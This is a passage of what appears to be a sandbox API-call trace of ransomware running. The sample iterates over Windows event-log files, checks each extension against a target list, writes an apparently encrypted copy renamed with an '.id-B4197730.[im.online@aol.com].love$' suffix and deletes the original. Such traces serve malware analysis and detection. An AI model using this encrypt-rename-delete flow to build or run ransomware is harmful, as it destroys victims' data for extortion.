lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.352] lstrlenW (lpString=".xlsx") returned 5 [0224.352] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.352] lstrlenW (lpString=".ppt") returned 4 [0224.353] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0224.353] lstrlenW (lpString=".zip") returned 4 [0224.353] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.353] lstrlenW (lpString=".rar") returned 4 [0224.353] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.353] lstrlenW (lpString=".bz2") returned 4 [0224.353] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.353] lstrlenW (lpString=".7z") returned 3 [0224.353] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0224.353] lstrlenW (lpString=".dbf") returned 4 [0224.353] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0224.353] lstrlenW (lpString=".1cd") returned 4 [0224.353] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0224.353] lstrlenW (lpString=".jpg") returned 4 [0224.353] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.353] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.353] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48 [0224.353] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0224.354] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=1052672) returned 1 [0224.354] CloseHandle (hObject=0x390) returned 1 [0224.354] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0224.354] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.354] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0224.354] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0224.354] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0224.354] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0224.355] GetLastError () returned 0x0 [0224.355] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0xffff0, lpOverlapped=0x0) returned 1 [0224.805] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xffff0, lpOverlapped=0x0) returned 1 [0225.067] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x1010, lpOverlapped=0x0) returned 1 [0225.078] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x1020, lpOverlapped=0x0) returned 1 [0225.178] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0225.178] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x134, lpOverlapped=0x0) returned 1 [0225.178] SetEndOfFile (hFile=0x3c0) returned 1 [0225.646] CloseHandle (hObject=0x3c0) returned 1 [0225.979] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0225.979] SetEndOfFile (hFile=0x390) returned 1 [0226.014] CloseHandle (hObject=0x390) returned 1 [0226.015] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.015] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1 [0226.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0226.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0226.016] lstrlenW (lpString=".doc") returned 4 [0226.016] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.016] lstrlenW (lpString=".docx") returned 5 [0226.016] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.016] lstrlenW (lpString=".pdf") returned 4 [0226.016] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.016] lstrlenW (lpString=".xls") returned 4 [0226.016] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.016] lstrlenW (lpString=".xlsx") returned 5 [0226.016] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.016] lstrlenW (lpString=".ppt") returned 4 [0226.016] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0226.016] lstrlenW (lpString=".zip") returned 4 [0226.016] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.016] lstrlenW (lpString=".rar") returned 4 [0226.016] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.016] lstrlenW (lpString=".bz2") returned 4 [0226.016] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.017] lstrlenW (lpString=".7z") returned 3 [0226.017] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0226.017] lstrlenW (lpString=".dbf") returned 4 [0226.017] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0226.017] lstrlenW (lpString=".1cd") returned 4 [0226.017] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0226.017] lstrlenW (lpString=".jpg") returned 4 [0226.017] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0226.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0226.017] lstrlenW (lpString=".doc") returned 4 [0226.017] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.017] lstrlenW (lpString=".docx") returned 5 [0226.017] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.017] lstrlenW (lpString=".pdf") returned 4 [0226.017] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.017] lstrlenW (lpString=".xls") returned 4 [0226.017] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.017] lstrlenW (lpString=".xlsx") returned 5 [0226.017] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.017] lstrlenW (lpString=".ppt") returned 4 [0226.017] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0226.017] lstrlenW (lpString=".zip") returned 4 [0226.018] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.018] lstrlenW (lpString=".rar") returned 4 [0226.018] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.018] lstrlenW (lpString=".bz2") returned 4 [0226.018] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.018] lstrlenW (lpString=".7z") returned 3 [0226.018] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.018] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0226.018] lstrlenW (lpString=".dbf") returned 4 [0226.018] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.018] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0226.018] lstrlenW (lpString=".1cd") returned 4 [0226.018] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.018] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0226.018] lstrlenW (lpString=".jpg") returned 4 [0226.018] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.018] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.018] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47 [0226.018] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0226.019] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=69632) returned 1 [0226.019] CloseHandle (hObject=0x390) returned 1 [0226.019] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0226.019] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.019] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0226.019] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.019] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.019] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.020] GetLastError () returned 0x0 [0226.020] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.025] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.028] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0226.028] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x132, lpOverlapped=0x0) returned 1 [0226.028] SetEndOfFile (hFile=0x454) returned 1 [0226.028] CloseHandle (hObject=0x454) returned 1 [0226.033] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.033] SetEndOfFile (hFile=0x390) returned 1 [0226.035] CloseHandle (hObject=0x390) returned 1 [0226.035] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.035] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0226.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0226.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0226.036] lstrlenW (lpString=".doc") returned 4 [0226.036] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.036] lstrlenW (lpString=".docx") returned 5 [0226.036] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.036] lstrlenW (lpString=".pdf") returned 4 [0226.036] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.036] lstrlenW (lpString=".xls") returned 4 [0226.036] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.036] lstrlenW (lpString=".xlsx") returned 5 [0226.036] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.036] lstrlenW (lpString=".ppt") returned 4 [0226.036] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0226.036] lstrlenW (lpString=".zip") returned 4 [0226.036] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.036] lstrlenW (lpString=".rar") returned 4 [0226.036] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.036] lstrlenW (lpString=".bz2") returned 4 [0226.036] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.036] lstrlenW (lpString=".7z") returned 3 [0226.036] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0226.036] lstrlenW (lpString=".dbf") returned 4 [0226.036] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0226.037] lstrlenW (lpString=".1cd") returned 4 [0226.037] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.037] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0226.037] lstrlenW (lpString=".jpg") returned 4 [0226.037] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.037] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0226.037] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0226.037] lstrlenW (lpString=".doc") returned 4 [0226.037] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.037] lstrlenW (lpString=".docx") returned 5 [0226.037] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.037] lstrlenW (lpString=".pdf") returned 4 [0226.037] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.037] lstrlenW (lpString=".xls") returned 4 [0226.037] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.037] lstrlenW (lpString=".xlsx") returned 5 [0226.037] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.037] lstrlenW (lpString=".ppt") returned 4 [0226.037] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.037] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0226.037] lstrlenW (lpString=".zip") returned 4 [0226.037] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.037] lstrlenW (lpString=".rar") returned 4 [0226.037] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.037] lstrlenW (lpString=".bz2") returned 4 [0226.037] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.037] lstrlenW (lpString=".7z") returned 3 [0226.038] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.038] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0226.038] lstrlenW (lpString=".dbf") returned 4 [0226.038] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.038] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0226.038] lstrlenW (lpString=".1cd") returned 4 [0226.038] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.038] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0226.038] lstrlenW (lpString=".jpg") returned 4 [0226.038] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.038] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.038] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47 [0226.038] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0226.039] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=69632) returned 1 [0226.039] CloseHandle (hObject=0x390) returned 1 [0226.039] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0226.039] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.039] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0226.039] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.039] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.039] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.040] GetLastError () returned 0x0 [0226.040] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.045] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.342] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0226.347] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x132, lpOverlapped=0x0) returned 1 [0226.353] SetEndOfFile (hFile=0x454) returned 1 [0226.357] CloseHandle (hObject=0x454) returned 1 [0226.371] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.371] SetEndOfFile (hFile=0x390) returned 1 [0226.373] CloseHandle (hObject=0x390) returned 1 [0226.373] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.373] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0226.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0226.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0226.374] lstrlenW (lpString=".doc") returned 4 [0226.374] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.375] lstrlenW (lpString=".docx") returned 5 [0226.375] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.375] lstrlenW (lpString=".pdf") returned 4 [0226.375] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.375] lstrlenW (lpString=".xls") returned 4 [0226.375] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.375] lstrlenW (lpString=".xlsx") returned 5 [0226.375] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.375] lstrlenW (lpString=".ppt") returned 4 [0226.375] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0226.375] lstrlenW (lpString=".zip") returned 4 [0226.375] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.375] lstrlenW (lpString=".rar") returned 4 [0226.375] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.375] lstrlenW (lpString=".bz2") returned 4 [0226.375] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.375] lstrlenW (lpString=".7z") returned 3 [0226.375] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0226.375] lstrlenW (lpString=".dbf") returned 4 [0226.375] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0226.375] lstrlenW (lpString=".1cd") returned 4 [0226.375] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0226.375] lstrlenW (lpString=".jpg") returned 4 [0226.375] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0226.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0226.375] lstrlenW (lpString=".doc") returned 4 [0226.375] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.376] lstrlenW (lpString=".docx") returned 5 [0226.376] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.376] lstrlenW (lpString=".pdf") returned 4 [0226.376] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.376] lstrlenW (lpString=".xls") returned 4 [0226.376] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.376] lstrlenW (lpString=".xlsx") returned 5 [0226.376] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.376] lstrlenW (lpString=".ppt") returned 4 [0226.376] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0226.376] lstrlenW (lpString=".zip") returned 4 [0226.376] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.376] lstrlenW (lpString=".rar") returned 4 [0226.376] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.376] lstrlenW (lpString=".bz2") returned 4 [0226.376] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.376] lstrlenW (lpString=".7z") returned 3 [0226.376] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0226.376] lstrlenW (lpString=".dbf") returned 4 [0226.376] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0226.376] lstrlenW (lpString=".1cd") returned 4 [0226.376] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0226.376] 